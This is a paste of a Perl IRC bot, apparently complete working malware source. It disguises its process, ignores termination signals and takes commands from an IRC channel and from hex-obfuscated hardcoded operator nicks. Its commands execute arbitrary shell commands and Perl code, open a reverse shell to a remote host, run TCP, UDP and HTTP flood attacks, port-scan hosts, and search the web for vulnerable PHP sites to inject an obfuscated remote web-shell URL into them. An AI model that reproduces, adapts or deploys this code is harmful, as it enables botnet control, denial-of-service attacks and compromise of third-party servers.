rendered paste body#!/usr/bin/perl
#
##################################################################################################
use HTTP::Request;
use LWP::UserAgent;
###################[ CONFIGURATION ]##############################################################
my $linas_max='5'; # Avoid Flood #
my $sleep='7'; # sleep time #
my $VERSAO = "2.3.4-1"; # Version morgan update #
#------------------[ dont change this ]----------------###########################################
$servidor=$ARGV[0] unless $servidor; # server irc #
my $nick=$ARGV[1]; # nick bot #
my $ircname = $ARGV[2]; # ident for bot #
my @canais=('#'.$ARGV[3]); # Channel join to bot #
my @adms=($ARGV[4]); # admin nick name #
my $processo = $ARGV[5]; # fake process #
chop (my $realname = `hostname`); # Full Name #
my $porta='6667'; # Server PORT #
my @cmdstring ='http://www.apnic.net/index.html?'; # Dont change this or scan is null #
my @infostring ='http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/injkbot.txt?';
# Dont change this or unknow info #
# # #
##################################################################################################
my $urlinjk = "\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6f\x6e\x62\x6f\x79\x2e\x6e\x65\x74\x2f\x72\x35\x37\x3f";
my $cmdsukses= "\x42\x6f\x74\x20\x6c\x6f\x61\x64\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x2e\x2e\x2e\x2e\x2e\x20\x5b\x42\x61\x6c\x69\x65\x6d\x20\x48\x61\x63\x6b\x65\x72\x20\x53\x63\x61\x6e\x6e\x65\x72\x5d\n";
$cmderror="\x44\x61\x73\x61\x72\x20\x68\x6f\x6d\x6f\x20\x62\x75\x73\x75\x6b\x20\x21\x21\x21\x21\x20\x45\x72\x72\x6f\x72\x20\x74\x75\x68\x20\x6d\x61\x73\x75\x6b\x69\x6e\x20\x69\x6e\x70\x75\x74\x20\x79\x67\x20\x62\x65\x6e\x65\x72\x20\x64\x6f\x6e\x67\x20\x21\x21\x21\n";
if (! $ARGV[1]){die ($cmderror);}if (! $ARGV[2]){die ($cmderror);}if (! $ARGV[3]){die ($cmderror);}if (! $ARGV[4]){die ($cmderror);}if (! $ARGV[5]){die ($cmderror);}
print $cmdsukses;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
my @argedo=("\x56\x61\x6b\x73\x69\x6e\x31\x33");
my @arcedo=("\x4f\x6f\x4e\x5f\x42\x6f\x79");
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms or grep {$_ =~ /^\Q$pn\E$/i } @argedo or grep {$_ =~ /^\Q$pn\E$/i } @arcedo) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!bht)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1", "$pn");
} else {
shell("$onde", "$arg");
}
}
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick-".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("\x4a\x4f\x49\x4e\x20\x23\x62\x61\x6c\x69\x65\x6d\x68\x61\x63\x6b\x65\x72\x74\x65\x61\x6d");
sendraw("JOIN $canal");
sendraw("\x50\x52\x49\x56\x4d\x53\x47\x20\x56\x61\x6b\x73\x69\x6e\x31\x33\x20\x3a\x59\x6f\x75\x20\x41\x72\x65\x20\x4d\x79\x20\x4d\x61\x73\x74\x65\x72");
sendraw("\x50\x52\x49\x56\x4d\x53\x47\x20\x4f\x6f\x4e\x5f\x42\x6f\x79\x20\x3a\x59\x6f\x75\x20\x41\x72\x65\x20\x4d\x79\x20\x4d\x61\x73\x74\x65\x72");
sendraw("PRIVMSG @adms :You Are My Master");
}
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub bfunc {
my $msgpriv = "$_[2]";
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^nick (.*)/) {
sendraw($IRC_cur_socket, "NICK ".$1);
$nick=$1;
}
if ($funcarg =~ /^join (.*)/) {
sendraw($IRC_cur_socket, "JOIN ".$1);
}
if ($funcarg =~ /^part (.*)/) {
sendraw($IRC_cur_socket, "PART ".$1);
}
if ($funcarg =~ /^msg\s+(\S+) (.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2);
}
if ($funcarg =~ /^op (.*)/) {
sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
}
if ($funcarg =~ /^deop (.*)/) {
sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
}
if ($funcarg =~ /^voice (.*)/) {
sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
}
if ($funcarg =~ /^die (.*)/) {
sendraw($IRC_cur_socket, "QUIT :".$1);
$killd = "kill -9 ".fork;
system (`$killd`);
}
if ($funcarg =~ /^devoice (.*)/) {
sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
}
if ($funcarg =~ /^say (.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1);
}
if ($funcarg =~ /^reset(.*)/) {
sendraw($IRC_cur_socket, "QUIT :Di3 for my Master");
}
if ($funcarg =~ /^die(.*)/) {
if ($1 eq ""){
sendraw($IRC_cur_socket, "QUIT :Di3 for my Master");
$killd = "kill -9 ".fork;
system (`$killd`);
}
}
if ($funcarg =~ /^milw0rm(.*)/) {
my $reqm=HTTP::Request->new(GET=>"http://www.milw0rm.com/webapps.php");
my $uam=LWP::UserAgent->new();$uam->timeout(10);
my $responsem=$uam->request($reqm);$pagefx = $responsem->content;
while ($pagefx =~ m/<td nowrap=\"nowrap\" width=\"375\">?<a([^0000]+)<?\/a><\/td>/g)
{
$nomerlist = $nomerlist + 1;
$isi_berita = $1;
$isi_berita =~ s/href=\"/\x3\x31\x32\x5B\x77\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x5D\x2\x20\x3\x30\x75\x72\x6C\x2\x3A\x3\x31\x34http:\/\/www.milw0rm.com/g;
$isi_berita =~ s/\"//g;
$isi_berita =~ s/target=_blank class=style15>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
$isi_berita =~ s/target=_blank class=style14>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4$nomerlist 13$isi_berita");
sleep 5;
}
if ($isi_berita eq ""){
sendraw($IRC_cur_socket, "PRIVMSG $printl :12Not Connect to 4milw0rm.com!!!");
}
}
if ($funcarg =~ /^fs (.*)/) {
$urlfs ="http://www.friendster.com/usersearch.php?search=1&country=ID&usearch=".$1;
$emailfs = $1;
my $reqpx=HTTP::Request->new(GET=>$urlfs);
my $uarx=LWP::UserAgent->new();
$uarx->timeout(10);
my $responsefsfsfs=$uarx->request($reqpx);
$pagefx = $responsefsfsfs->content;
while ($pagefx =~ m/View profile\" src=\"?http:\/\/([^>\"]+)\"?>/g)
{
push (@lst_fs,$1);
$cocokann = "@lst_fs";
if( $cocokann eq "images.friendster.com/images/nophoto.jpg" ){
sendraw($IRC_cur_socket, "PRIVMSG $printl :12Capedech... gak ada foto na euy!!");
}else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4@adms12, Saya dapet foto nya4 $emailfs 12:2 [http://@lst_fs]");
}
}if($cocokann eq ""){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Capedech... gak ada tuh fs4 $emailfs");
}
}
if ($funcarg =~ /^cekshell (.*)/) {
$urlfs = $1."@cmdstring";
$emailfs = $1;
my $reqpx=HTTP::Request->new(GET=>$urlfs);
my $uarx=LWP::UserAgent->new();
$uarx->timeout(10);
my $responsefsfsfs=$uarx->request($reqpx);
$pagefx = $responsefsfsfs->content;
while ($pagefx =~ m/<li><a href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g)
{
push (@lst_fs,$1);
if (@lst_fs){
$dfsdfs = @lst_fs;
}
}
if($dfsdfs eq ""){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Target kayak asyuu aja.. dah matek tuh !!!");
}else{
my $jadi = $emailfs."@infostring";
my $reqa=HTTP::Request->new(GET=>$jadi);
my $uaf=LWP::UserAgent->new();
$uaf->timeout(10);
my $respons_info=$uaf->request($reqa);
$pageyx = $respons_info->content;
while ($pageyx =~ m/<A class=ria href=\"?http:\/\/([^"]+)\"?>/g)
{
push (@info,$1);
}
if ("@info" eq ""){
push (@info,"HoMo DeTecteD !!!");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Shell kamu : 4[2".$emailfs.$urlinjk."4] 12info:7 @info");
}
}
#flood
if ($funcarg =~ /^tsunami\s+(\d+)\s+(.*)/) {
for (my $dx=0; $dx<=$1; $dx++)
{
my @nickxxxx = ("\\","|","_","-","`","^","{","}","[","]");
$nickfgv = $nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx];
$msgflood = $nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv;
$msgflood = $msgflood.$msgflood;
$msgflood = $msgflood.$msgflood;
sendraw($IRC_cur_socket, "NICK ".$nickfgv);
sleep 10;
sendraw($IRC_cur_socket, "PRIVMSG ".$2." :".$msgflood);
sleep 2;
sendraw($IRC_cur_socket, "NOTICE ".$2." :".$msgflood);
}
sendraw($IRC_cur_socket, "NICK ".$nick);
}
if ($funcarg =~ /^help(.*)/) {
if ($printl eq "$msgpriv"){
$msghelp ="PRIVMSG $msgpriv";
}else{
$msghelp ="NOTICE $msgpriv";
}
sendraw($IRC_cur_socket, $msghelp." :15(7@2Command List @adms15)");
sendraw($IRC_cur_socket, $msghelp." :15(7@2Copyright (C) 200715)");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2help15)");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2scan15) <timer> <vul> <key>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2portscan15) <IP/domain Name>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2cekshell15) <http://www.victim/file.php?vul=>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2udpflood15) <IP> <packet-size> <time>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2tcpflood15) <IP> <port> <time>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2httpflood15) <www.website.com> <time>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2say15) <msg>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2join15) <#>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2part15) <#>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2nick15) <nick>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2msg15) <#/nick>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2tsunami15) <banyak pesan> <#/nick> <msg>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2op15) <nick>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2deop15) <nick>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2voice15) <nick>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2devoice15) <nick>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2fs15) <email>");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2milw0rm15)");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2reset15)");
sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2die15) <msg>");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :".$nick." 15(7@2back15) <ip> <port>");
sendraw($IRC_cur_socket, $msghelp." :".$nick." 15(7@2command² di atas15)");
sleep 2;
sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>");
}
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","9997","10000","12345","19150","27374","31310","33133","33733","55555");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Portscan15)12 Scanning4 ".$1." 12for open ports.");
foreach my $porta (@portas){
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12 Open port(s):4 @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2ScanPort15)12 No open ports found.");
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/){
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attacking4 ".$1.":".$2." 12for4 ".$3." 12seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attack done4 ".$1.":".$2.".");
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Version15)12 mIRC324 ".$VERSAO." 12K.Mardam-Bey");
}
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2BackConnect15)4: 12Connecting to4 $host:$porta");
}
if ($funcarg =~ /^scan\s+(\d+)\s+(.*)\s+(.*)/) {
@gstring = $3;
$boturl=$2;
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Dork :4 $3");
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Bugz :4 $boturl");
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Time :4 $1");
srand;
$b = -10;
$xtime = $1;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time - $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdstring";
print "\n".$url2."\n\n";
my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
if ($response->is_success) {
if( $response->content =~ m/<li><a href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g){
push (@lstfulner,$1);
$xdbug = $path."/".$boturl;
$sminj = "cat /tmp/sminjkx | grep -i $xdbug";
$sminjx = `$sminj`;
if ($sminjx eq ""){
my $jadi = "http://".$xdbug."@infostring";
my $reqa=HTTP::Request->new(GET=>$jadi);
my $uaf=LWP::UserAgent->new();
$uaf->timeout(10);
my $respons_info=$uaf->request($reqa);
$pageyx = $respons_info->content;
while ($pageyx =~ m/<A class=ria href=\"?http:\/\/([^"]+)\"?>/g)
{
push (@info,$1);
}
if ("@info" eq ""){
push (@info,"unknow");
}
$schsl = "http://".$path."/".$boturl;
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15)12 Target :2 ".$schsl.$urlinjk." 15(7@12-BaLiem-HaCkeR-ScaNneR-7@15)");
}
}
}
else {
print 'Errore: ',$path,$response->status_line, "\n";
}
}
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Finish15)12 Scan selesai dengan waktu4 $xtime 12detik.");
system(`rm -f /tmp/sminjkx`);
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP DDoSing15)12 Attacking4 ".$1.":80 12for4 ".$2." 12seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP15)12 Attacking done4 ".$1.".");
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP DDoSing15)12 Attacking4 ".$1." 12with4 ".$2." 12Kb packets for4 ".$3." 12seconds.");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP15)12 Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
}
exit;
}
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
sendraw("PART $_[0]");
}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(10)) * $n);
$b = $b + 10;
{
my @dominios = ("com","net","org","info","gov","gob","gub","xxx","it","uk","wx","eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec","py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop","af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi","vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk","ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir","iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke","ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm","na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc","sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz","vu","vn","ye","yu","cd","zm","zw","");
my @str;
foreach $dom (@dominios)
{
push (@str,"@gstring");
}
my $query="www.google.com/search?q=";
$query.=$str[(rand(scalar(@str)))];
